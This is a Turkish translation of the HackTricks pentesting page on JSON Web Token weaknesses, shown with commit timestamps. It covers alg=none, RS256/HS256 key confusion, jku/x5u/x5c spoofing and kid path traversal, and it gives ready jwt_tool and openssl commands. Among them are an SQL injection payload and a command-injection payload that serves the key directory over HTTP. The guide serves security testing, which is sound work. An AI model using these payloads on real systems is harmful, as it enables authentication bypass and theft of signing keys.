hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

276 lines
19 KiB
Markdown
Raw Normal View History

# JWT Güvenlik Açıkları (Json Web Token'lar)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks'ı desteklemenin diğer yolları:
2023-12-31 01:25:17 +00:00
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
2022-04-30 20:31:18 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
**Bu yazının bir kısmı harika yazıya dayanmaktadır:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**JWT'leri pentest etmek için harika bir aracın yazarı** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
2024-02-10 18:14:16 +00:00
### **Hızlı Kazanımlar**
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)'u `Tüm Testler!` modunda çalıştırın ve yeşil satırları bekleyin
```bash
2022-07-22 12:41:11 +00:00
python3 jwt_tool.py -M at \
2024-02-10 18:14:16 +00:00
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
Eğer şanslıysanız, araç JWT'yi yanlış şekilde kontrol eden web uygulamasının bazı durumlarını bulabilir:
![](<../.gitbook/assets/image (932).png>)
Daha sonra, proxy'nizde isteği arayabilir veya kullanılan JWT'yi jwt_tool'u kullanarak o istek için dump edebilirsiniz:
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
### Veriye hiçbir şey değiştirmeden veriyi değiştirin
Sadece veriyi değiştirerek imzayı aynı bırakabilir ve sunucunun imzayı kontrol edip etmediğini kontrol edebilirsiniz. Örneğin, kullanıcı adınızı "admin" olarak değiştirmeyi deneyin.
2024-02-10 18:14:16 +00:00
#### **Token kontrol ediliyor mu?**
2024-02-10 18:14:16 +00:00
Bir JWT'nin imzasının doğrulandığını kontrol etmek için:
2024-02-05 02:28:59 +00:00
* Bir hata mesajı doğrulamanın devam ettiğini gösterir; ayrıntılı hatalardaki hassas bilgiler incelenmelidir.
* Geri dönen sayfada bir değişiklik doğrulamayı gösterir.
* Herhangi bir değişiklik olmaması doğrulama olmadığını gösterir; bu durumda veri yükü iddialarını değiştirmek için denemeler yapılmalıdır.
2024-02-05 02:28:59 +00:00
2024-02-10 18:14:16 +00:00
### Köken
Token'ın sunucu tarafından mı yoksa istemci tarafından mı oluşturulduğunu belirlemek önemlidir, bunu proxy'nin istek geçmişini inceleyerek yapabilirsiniz.
* İlk kez istemci tarafından görülen token'lar, anahtarın istemci tarafı koduna maruz kalabileceğini gösterir, bu da daha fazla inceleme gerektirir.
* Sunucu tarafından kaynaklanan token'lar güvenli bir süreci işaret eder.
2024-02-10 18:14:16 +00:00
### Süre
Token'ın 24 saatten fazla sürüp sürmediğini kontrol edin... belki hiç süresi dolmuyordur. "exp" alanı varsa, sunucunun bunu doğru şekilde işleyip işlemediğini kontrol edin.
### HMAC gizli anahtarını kaba kuvvetle çözme
2024-02-10 18:14:16 +00:00
[**Bu sayfaya bakın.**](../generic-methodologies-and-resources/brute-force.md#jwt)
### Algoritmayı None olarak değiştirin (CVE-2015-9235)
2024-02-10 18:14:16 +00:00
Kullanılan algoritmayı "None" olarak ayarlayın ve imza kısmını kaldırın.
Bu zafiyeti denemek ve JWT içinde farklı değerleri değiştirmek için Burp uzantısını "JSON Web Token" olarak kullanın (istemi Repeater'a gönderin ve "JSON Web Token" sekmesinde token'ın değerlerini değiştirebilirsiniz. Ayrıca "Alg" alanının değerini "None" olarak seçebilirsiniz).
### Algoritmayı RS256(asimetrik) den HS256(simetrik) olarak değiştirin (CVE-2016-5431/CVE-2016-10555)
HS256 algoritması, her mesajı imzalamak ve doğrulamak için gizli anahtarı kullanır.\
RS256 algoritması, mesajı imzalamak için özel anahtarı kullanır ve doğrulama için genel anahtarı kullanır.
Algoritmayı RS256'dan HS256'ya değiştirirseniz, arka uç kodu genel anahtarı gizli anahtar olarak kullanır ve ardından imzayı doğrulamak için HS256 algoritmasını kullanır.
Daha sonra genel anahtarı kullanarak RS256'yı HS256'ya değiştirerek geçerli bir imza oluşturabiliriz. Bu işlemi gerçekleştirmek için web sunucusunun sertifikasını alabilirsiniz.
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### Başlık içinde yeni genel anahtar
Bir saldırgan, belirtecin başlığına yeni bir anahtar gömerek sunucunun bu yeni anahtarı imzayı doğrulamak için kullanmasını sağlar (CVE-2018-0114).
Bu, "JSON Web Tokens" Burp eklentisi ile yapılabilir.\
(İsteği Repeater'a gönderin, JSON Web Token sekmesinde "CVE-2018-0114"ü seçin ve isteği gönderin).
2024-02-10 18:14:16 +00:00
### JWKS Sahteciliği
Talimatlar, JWT belgelerinin güvenliğini değerlendirmek için bir yöntemi detaylandırır, özellikle "jku" başlığı iddiasını kullananları. Bu iddia, belirtecin doğrulaması için gerekli genel anahtarı içeren bir JWKS (JSON Web Key Set) dosyasına bağlanmalıdır.
2024-02-05 02:28:59 +00:00
* **"jku" Başlığı ile Belge Değerlendirme**:
* "jku" iddiasının URL'sini doğrulayarak, uygun JWKS dosyasına yönlendirdiğinden emin olun.
* Belgenin "jku" değerini değiştirerek, trafiği gözlemlemeye izin veren kontrol edilen bir web hizmetine yönlendirin.
* **HTTP Etkileşimi İçin İzleme**:
* Belirtilen URL'ye yapılan HTTP isteklerini gözlemlemek, sunucunun sağladığınız bağlantıdan anahtarları almaya çalıştığını gösterir.
* Bu işlem için `jwt_tool` kullanırken, testi kolaylaştırmak için `jwtconf.ini` dosyasını kişisel JWKS konumunuzla güncellemek önemlidir.
* **`jwt_tool` için Komut**:
* Aşağıdaki komutu kullanarak `jwt_tool` ile senaryoyu simüle edin:
2024-02-10 18:14:16 +00:00
```bash
python3 jwt_tool.py JWT_BURAYA -X s
2024-02-10 18:14:16 +00:00
```
### Kid Sorunları Genel Bakış
`kid` olarak bilinen isteğe bağlı bir başlık iddiası, belirtecin imza doğrulaması için birden fazla anahtarın bulunduğu ortamlarda özellikle önemli hale gelir. Bu iddia, belirtecin imzasını doğrulamak için uygun anahtarı seçmede yardımcı olur.
#### "kid" ile Anahtarıığa Çıkarma
Başlıkta `kid` iddiası bulunduğunda, ilgili dosyayı veya varyasyonlarını aramak için web dizininde arama yapılması önerilir. Örneğin, `"kid":"anahtar/12345"` belirtilmişse, _/anahtar/12345_ ve _/anahtar/12345.pem_ dosyaları web kökünde aranmalıdır.
2024-02-05 02:28:59 +00:00
2024-02-10 18:14:16 +00:00
#### "kid" ile Yol Geçişi
`kid` iddiası, dosya sistemi üzerinde gezinmek için kullanılabilir ve bu, keyfi bir dosyanın seçilmesine izin verebilir. Belirli dosyaları veya hizmetleri hedeflemek için `kid` değerini değiştirerek bağlantıyı test etmek veya Sunucu Tarafı İstek Sahteciliği (SSRF) saldırıları gerçekleştirmek mümkündür. JWT'yi değiştirmek için `jwt_tool`da `-T` bayrağını kullanarak orijinal imzayı korurken `kid` değerini değiştirmek mümkündür, aşağıda gösterildiği gibi:
2020-12-03 10:09:49 +00:00
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
Hedeflenen dosyaların tahmin edilebilir içeriği ile, geçerli bir JWT oluşturmak mümkündür. Örneğin, Linux sistemlerindeki `/proc/sys/kernel/randomize_va_space` dosyası, içerdiği **2** değeri ile `kid` parametresinde **2** olarak simetrik şifre olarak JWT oluşturmak için kullanılabilir.
2020-12-03 10:09:49 +00:00
#### "kid" Üzerinden SQL Enjeksiyonu
Eğer `kid` iddiasının içeriği bir veritabanından bir şifre almak için kullanılıyorsa, `kid` yükünü değiştirerek SQL enjeksiyonu kolaylaştırılabilir. JWT imzalama sürecini değiştirmek için SQL enjeksiyonu kullanan bir örnek yük şunları içerir:
2024-02-05 02:28:59 +00:00
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
Bu değişiklik, JWT imzalama için bilinen gizli anahtar olan `ATTACKER`'ın kullanılmasını zorlar.
#### "kid" Üzerinden OS Enjeksiyonu
`kid` parametresinin bir komut yürütme bağlamında kullanılan bir dosya yolunu belirttiği bir senaryo, Uzaktan Kod Yürütme (RCE) güvenlik açıklarına yol açabilir. `kid` parametresine komutlar enjekte edilerek, özel anahtarlar açığa çıkarılabilir. RCE ve anahtarın açığa çıkarılması için bir örnek yük şudur:
2024-02-05 02:28:59 +00:00
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
2024-02-10 18:14:16 +00:00
### x5u ve jku
2022-05-01 13:25:53 +00:00
#### jku
jku, **JWK Set URL**'nin kısaltmasıdır.\
Eğer token bir "**jku**" **Header** iddiası kullanıyorsa, **sağlanan URL'yi kontrol edin**. Bu, belirtilen URL'yi içeren JWKS dosyasını işaret etmelidir ki bu dosya, token'ı doğrulamak için kullanılan Genel Anahtarı içermelidir. Trafik izleyebileceğiniz bir web hizmetine jku değerini işaret edecek şekilde token'ı değiştirin.
İlk olarak, yeni özel ve genel anahtarlarla yeni bir sertifika oluşturmanız gerekmektedir.
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Sonra örneğin [**jwt.io**](https://jwt.io) kullanarak **oluşturulan genel ve özel anahtarlarla yeni JWT oluşturabilir ve jku parametresini oluşturulan sertifikaya işaret edecek şekilde ayarlayabilirsiniz.** Geçerli bir jku sertifikası oluşturmak için orijinalini indirebilir ve gerekli parametreleri değiştirebilirsiniz.
"e" ve "n" parametrelerini bir genel sertifikadan şu şekilde alabilirsiniz:
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
```
2022-05-01 13:25:53 +00:00
#### x5u
X.509 URL. PEM formunda kodlanmış X.509 (bir sertifika format standardı) genel sertifikalar kümesine işaret eden bir URI. Kümedeki ilk sertifika bu JWT'yi imzalamak için kullanılan sertifikadır. Ardışık sertifikalar birbirini imzalar, böylece sertifika zinciri tamamlanmış olur. X.509, RFC 5280'de tanımlanmıştır. Sertifikaların transfer edilmesi için taşıma güvenliği gereklidir.
Bu başlığı **kendi kontrolünüzdeki bir URL'ye değiştirmeyi deneyin** ve herhangi bir isteğin alınıp alınmadığını kontrol edin. Bu durumda JWT'yi **manipüle edebilirsiniz**.
Kendi kontrolünüzdeki bir sertifikayı kullanarak yeni bir belirteç oluşturmak için, sertifikayı oluşturmanız ve genel ve özel anahtarları çıkarmanız gerekmektedir:
```bash
2021-03-10 17:23:17 +00:00
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
Sonra örneğin [**jwt.io**](https://jwt.io) kullanabilirsiniz ve **oluşturulan genel ve özel anahtarlarla yeni JWT'yi oluşturabilir ve x5u parametresini .crt uzantılı sertifikaya işaret edecek şekilde ayarlayabilirsiniz.**
![](<../.gitbook/assets/image (953).png>)
Ayrıca bu zafiyetleri **SSRF'ler için kötüye kullanabilirsiniz**.
2022-05-01 13:25:53 +00:00
#### x5c
Bu parametre **base64 formatında sertifikayı** içerebilir:
![](<../.gitbook/assets/image (1116).png>)
Saldırgan, **kendi kendine imzalı bir sertifika oluşturur** ve ilgili özel anahtarı kullanarak sahte bir belge oluşturur ve "x5c" parametresinin değerini yeni oluşturulan sertifikayla değiştirir ve diğer parametreleri, yani n, e ve x5t'yi değiştirirse, aslında sahte belge sunucu tarafından kabul edilir hale gelir.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
2024-02-10 18:14:16 +00:00
### Gömülü Genel Anahtar (CVE-2018-0114)
Eğer JWT aşağıdaki senaryoda olduğu gibi bir genel anahtarı gömülüyse:
![](<../.gitbook/assets/image (619).png>)
O verilerden bir genel anahtar oluşturmak için aşağıdaki nodejs betiği kullanılabilir:
2021-03-10 12:26:57 +00:00
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
Yeni bir özel/genel anahtar oluşturmak, yeni genel anahtarı belirteci içine gömmek ve bunu kullanarak yeni bir imza oluşturmak mümkündür:
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Bu Node.js betiği kullanarak "n" ve "e" değerlerini elde edebilirsiniz:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
### ES256: Aynı nonce ile özel anahtarı ifşa etme
Bazı uygulamalar ES256 kullanıyorsa ve iki JWT oluşturmak için aynı nonce'u kullanıyorsa, özel anahtar geri getirilebilir.
İşte bir örnek: [ECDSA: Aynı nonce kullanıldığında özel anahtarı ifşa etme (SECP256k1 ile)](https://asecuritysite.com/encryption/ecd5)
2024-02-10 18:14:16 +00:00
### JTI (JWT Kimliği)
JTI (JWT Kimliği) iddiası, bir JWT Jetonu için benzersiz bir tanımlayıcı sağlar. Jetonun tekrarlanmasını önlemek için kullanılabilir. Ancak, ID'nin maksimum uzunluğunun 4 (0001-9999) olduğu bir durumu hayal edin. İstek 0001 ve 10001 aynı kimliği kullanacak. Bu nedenle, backend her istekte kimliği artırıyorsa, bu durumu istek arasında 10000 istek göndererek **bir isteği tekrar oynatmak** için kötüye kullanabilirsiniz.
### JWT Kayıtlı iddiaları
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
2024-02-10 18:14:16 +00:00
### Diğer saldırılar
2024-02-05 02:28:59 +00:00
**Çapraz-servis Röle Saldırıları**
2024-02-05 02:28:59 +00:00
Bazı web uygulamalarının, jetonlarının oluşturulması ve yönetimi için güvenilir bir JWT hizmetine güvendiği gözlemlenmiştir. Bir JWT hizmeti tarafından bir istemci için oluşturulan bir jetonun, aynı JWT hizmetinin başka bir istemcisi tarafından kabul edildiği kaydedilmiştir. Üçüncü taraf bir hizmet aracılığıyla bir JWT'nin verilmesi veya yenilenmesi gözlemlenirse, aynı kullanıcı adı/e-posta ile başka bir hizmetin istemcisine hesap oluşturulması olasılığı araştırılmalıdır. Daha sonra elde edilen jetonun hedefe bir istekte tekrarlanıp tekrarlanmadığını görmek için bir deneme yapılmalıdır.
2024-02-05 02:28:59 +00:00
* Jetonunuzun kabul edilmesi ciddi bir sorunu işaret edebilir ve herhangi bir kullanıcının hesabının sahteciliğine izin verebilir. Ancak, bu, üçüncü taraf bir uygulamaya kaydolmanın yasal bir gri alana girebileceği için daha geniş testler için izin alınması gerekebileceğini unutmamak önemlidir.
2024-02-05 02:28:59 +00:00
**Jetonların Süresi Kontrol Edilmesi**
2024-02-05 02:28:59 +00:00
Jetonun süresi, "exp" Yük iddiası kullanılarak kontrol edilir. JWT'ler genellikle oturum bilgisi olmadan kullanıldığından, dikkatli bir işlem gereklidir. Birçok durumda, başka bir kullanıcının JWT'sini yakalayıp tekrar oynatmak, o kullanıcının taklit edilmesine olanak tanıyabilir. JWT RFC'si, JWT tekrar oynatma saldırılarını azaltmak için jetona bir süre belirlemek için "exp" iddiasını kullanmayı önerir. Ayrıca, uygulamanın bu değerin işlenmesini ve süresi geçmiş jetonların reddedilmesini sağlamak için ilgili kontrolleri uygulaması önemlidir. Jetonun "exp" iddiasını içeriyorsa ve test süreleri izin veriyorsa, jetonun saklanması ve süresi geçtikten sonra tekrar oynatılması tavsiye edilir. Jetonun içeriği, jet\_tool'un -R bayrağını kullanarak okunabilir, zaman damgası ayrıştırma ve süre kontrolü (UTC'de zaman damgası) gibi.
2024-02-05 02:28:59 +00:00
* Uygulamanın hala jetonu doğrulaması durumunda bir güvenlik riski olabilir, çünkü bu, jetonun asla süresinin dolmayacağı anlamına gelebilir.
2024-02-05 02:28:59 +00:00
2024-02-10 18:14:16 +00:00
### Araçlar
{% embed url="https://github.com/ticarpi/jwt_tool" %}
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
2022-05-08 22:42:39 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-05-08 22:42:39 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks'i desteklemenin diğer yolları:
2023-12-31 01:25:17 +00:00
* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Discord grubuna** 💬 [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek destekleyin.
2022-04-28 16:01:33 +00:00
</details>